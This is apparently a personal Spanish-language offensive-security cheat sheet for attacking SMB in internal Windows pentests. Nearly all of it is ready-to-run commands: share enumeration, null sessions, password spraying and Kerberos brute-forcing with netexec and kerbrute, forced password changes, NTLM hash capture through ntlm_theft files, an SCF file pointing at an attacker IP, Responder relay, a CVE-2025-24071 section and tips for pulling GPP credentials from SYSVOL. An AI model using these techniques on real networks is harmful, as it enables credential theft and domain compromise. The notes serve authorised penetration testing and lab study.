Skip to content

#smb #nullsession #passwordspraying #smbclient #netexec #pentestinterno

bash
nxc smb IP
bash
netexec smb IP -u 'USER' -p 'PASS' -d DOMAIN --shares

Password spraying (hacerlo cuando no se encuentra nada)

Probarlo con:

  • Una contraseña válida para un usuario (quizás sea válido para otro)
  • Contraseña = usuario
bash
netexec smb IP -u users.txt -p users.txt -d DOMAIN --continue-on-success --no-bruteforce
bash
netexec smb IP -u users.txt -p "password" -d DOMAIN --continue-on-success --no-bruteforce

Para encontrar accounts that must change password at next logon :

bash
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success

Cambiar pass

bash
env NEWPASS='P@ssw0rd!2025#' ; \ netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"

Kerberos Password Spraying:

bash
awk '{print $0":"$0}' validUsers.txt  > combs.txt
bash
sudo ntpdate -u 10.10.11.75

./kerbrute_linux_amd64 bruteforce -d DOMAIN --dc combs.txt -t 1

bash
msfconsole
use auxiliary/scanner/smb/smb_enumshares
set RHOSTS IP_DEL_SERVIDOR
run
bash
smbmap -H IP -u 'null'
bash
smbmap -H IP -u ''
bash
smbclient -L
bash
smbclient -L IP -N
bash
smbmap -H IP -u USER -p 'PASS'

Listar recursivamente

bash
smbclient //IP/SHARE -U 'USER%PASS' -c 'recurse ON; prompt OFF; ls'

A veces se buguean los permisos, mejor hacerlo con :

bash
netexec smb IP -u USER  -p PASS  -d DOMAIN --shares

bash
smbclient //IP/NOMBRE_RECURSO -U USER%PASS
bash
smbclient -L IP -N --option='client min protocol=SMB2'

Descargar de forma recursiva:

recurse
prompt
mget *

Configuración de samba

/etc/samba/smb.conf

SMB

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Shares
HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Shares

Como robar hashes si tengo permisos de escritura:

bash
git clone https://github.com/Greenwolf/ntlm_theft.git
bash
python3 ntlm_theft.py -g all -s IP-ATACANTE -f test
bash
smbclient //IP/RESOURCE -U USER 'PASS'
prompt
mput *
bash
sudo responder -I tun0

SCF file attack

[Shell]
Command=2
IconFile=\\X.X.X.X\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop

SMB relay

bash
sudo responder -I tun0 -wdv

Con kerberos

BASH
nxc smb DC.domain -u 'USER' -p 'PASS' -k --shares
bash
python3 /usr/share/doc/python3-impacket/examples/smbclient.py -k DOMAIN/USER@DC.DOMAIN -no-pass

CVE-2025-24071

💀 Exploit for CVE-2025-24071

🛠️ ¿Quiénes son vulnerables?

Según fuentes como NVD y CVEdetails, están afectados los siguientes sistemas si no están actualizados:

Windows Server:

  • Windows Server 2012 R2.

  • Windows Server 2016 (builds antes de 10.0.14393.7876).

  • Windows Server 2019 (builds antes de 10.0.17763.7009).

  • Windows Server 2022 (builds antes de 10.0.20348.3328).

  • Windows Server 2025 / 2022 23H2 (builds antes de 10.0.25398.1486 y 10.0.26100.3476) tenable.com+2cvedetails.com+2nvd.nist.gov+2.

Windows 10:

  • 1507 (x86/x64): versiones anteriores a 10.0.10240.20947.

  • 1607 (x86/x64): versiones anteriores a 10.0.14393.7876.

  • 1809 (x86/x64): versiones anteriores a 10.0.17763.7009.

  • 21H2, 22H2 (x64/ARM64/32‑bit): versiones anteriores a los builds correspondientes cvedetails.com+1nvd.nist.gov+1github.com.

Windows 11:

Para ver la versión :

bash
cmd /c ver
powershell
Get-ComputerInfo | Select-Object OsName, OsVersion, OsBuildNumber
bash
netexec smb IP -d DOMAIN

SYSVOL > Policies

El directorio Policies\ en SMB suele encontrarse en entornos Windows, especialmente en servidores que gestionan Active Directory (AD) y políticas de grupo (Group Policy Objects - GPOs). Este directorio normalmente se encuentra en la SYSVOL compartida de un Controlador de Dominio (DC) y contiene configuraciones importantes para los clientes del dominio.


📂 Contenido típico de Policies\ en SMB

Si accedes a un servidor SMB y ves una carpeta Policies\, es probable que contenga:

  1. Identificadores de GPOs (GUIDs)

    • Cada política de grupo se almacena en una carpeta con un GUID (por ejemplo, {31B2F340-016D-11D2-945F-00C04FB984F9}).
    • Estas carpetas contienen la configuración de la política aplicada a usuarios y computadoras en el dominio.
  2. Archivos GPT.INI

    • Un archivo GPT.INI dentro de cada política define la versión de la política de grupo.
    • Ejemplo de contenido:
    ini
        [General]
        Version=2
  3. Carpeta Machine\

    • Contiene configuraciones aplicadas a todas las máquinas dentro del dominio.
    • Puede incluir:
      • Registry.pol (configuración del registro para equipos del dominio)
      • Scripts\ (scripts de inicio o cierre de sesión)
      • Adm\ (plantillas administrativas antiguas)
  4. Carpeta User\

    • Contiene configuraciones aplicadas a usuarios del dominio.
    • Similar a Machine\, puede incluir:
      • Registry.pol (modificaciones del registro para usuarios)
      • Scripts de inicio/cierre de sesión.
  5. Carpeta Preferences\

    • Almacena configuraciones de Group Policy Preferences (GPP).
    • Puede contener archivos XML con credenciales cifradas, lo que es un objetivo interesante en pruebas de seguridad.
  6. Archivos de scripts (.bat, .cmd, .vbs, .ps1)

    • Se usan para automatizar configuraciones en máquinas y usuarios cuando inician sesión.

📌 Importancia de Policies\ en pruebas de seguridad

  • Puede contener contraseñas cifradas en XML dentro de Preferences\ (se pueden descifrar con herramientas como gpp-decrypt).
  • Puede permitir la manipulación de políticas si el atacante tiene permisos de escritura (SeBackupPrivilege o SeRestorePrivilege).
  • La presencia de scripts puede ser útil para la ejecución de código remoto en equipos del dominio.

Notas personales de seguridad ofensiva.